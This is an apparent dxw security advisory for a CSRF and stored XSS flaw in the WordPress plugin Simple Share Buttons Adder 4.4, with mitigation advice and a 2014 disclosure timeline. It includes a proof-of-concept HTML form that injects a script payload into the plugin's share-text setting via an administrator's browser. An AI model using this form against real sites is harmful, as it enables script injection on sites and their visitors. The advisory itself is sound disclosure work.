Details
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Software: Simple Share Buttons Adder
Version: 4.4
Homepage: https://wordpress.org/plugins/simple-share-buttons-adder/
Advisory report: https://security.dxw.com/advisories/csrf-and-stored-xss-in-simple-share-buttons-adder/
CVE: Awaiting assignment
CVSS: 5.8 (Medium; AV:N/AC:M/Au:N/C:N/I:P/A:P)

Description
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CSRF and stored XSS in Simple Share Buttons Adder 4.4

Vulnerability
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An attacker able to convince an admin to visit a link of their choosing is able to execute arbitrary javascript in the context of the Homepage, Pages, Posts, Category/Archive pages and post Excerpts.


Proof of concept
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If a logged-in administrator user clicks the submit button on this form, a javascript alert will display on the homepage. (In a real attack the form can be made to auto-submit using Javascript).
<form action=\"http://scone.local:8000/wp-admin/options-general.php?page=simple-share-buttons-adder\" method=\"POST\">
    <input type=\"hidden\" name=\"ssba_options\" value=\"save\">
    <input type=\"checkbox\" name=\"ssba_homepage\" value=\"Y\">
    <input type=\"text\" name=\"ssba_text_placement\" value= \"below\">
    <input type=\"text\" name=\"ssba_before_or_after\" value= \"after\">
    <input type=\"text\" name=\"ssba_share_text\" value=\"<script>alert(\'foo\')</script>\">
    <input type=\"submit\">
</form>

Mitigations
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Immediately upgrade to version 4.5 or greater.

Disclosure policy
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dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/

Please contact us on security@dxw.com to acknowledge this report if you received it via a third party (for example, plugins@wordpress.org) as they generally cannot communicate with us on your behalf.

This vulnerability will be published if we do not receive a response to this report with 14 days.

Timeline
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2014-06-19: Discovered
2014-06-25: Reported to WP.org and author via email
2014-06-26: Author reports issue fixed in version 4.5

 


Discovered by dxw:
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Duncan Stuart
Please visit security.dxw.com for more information.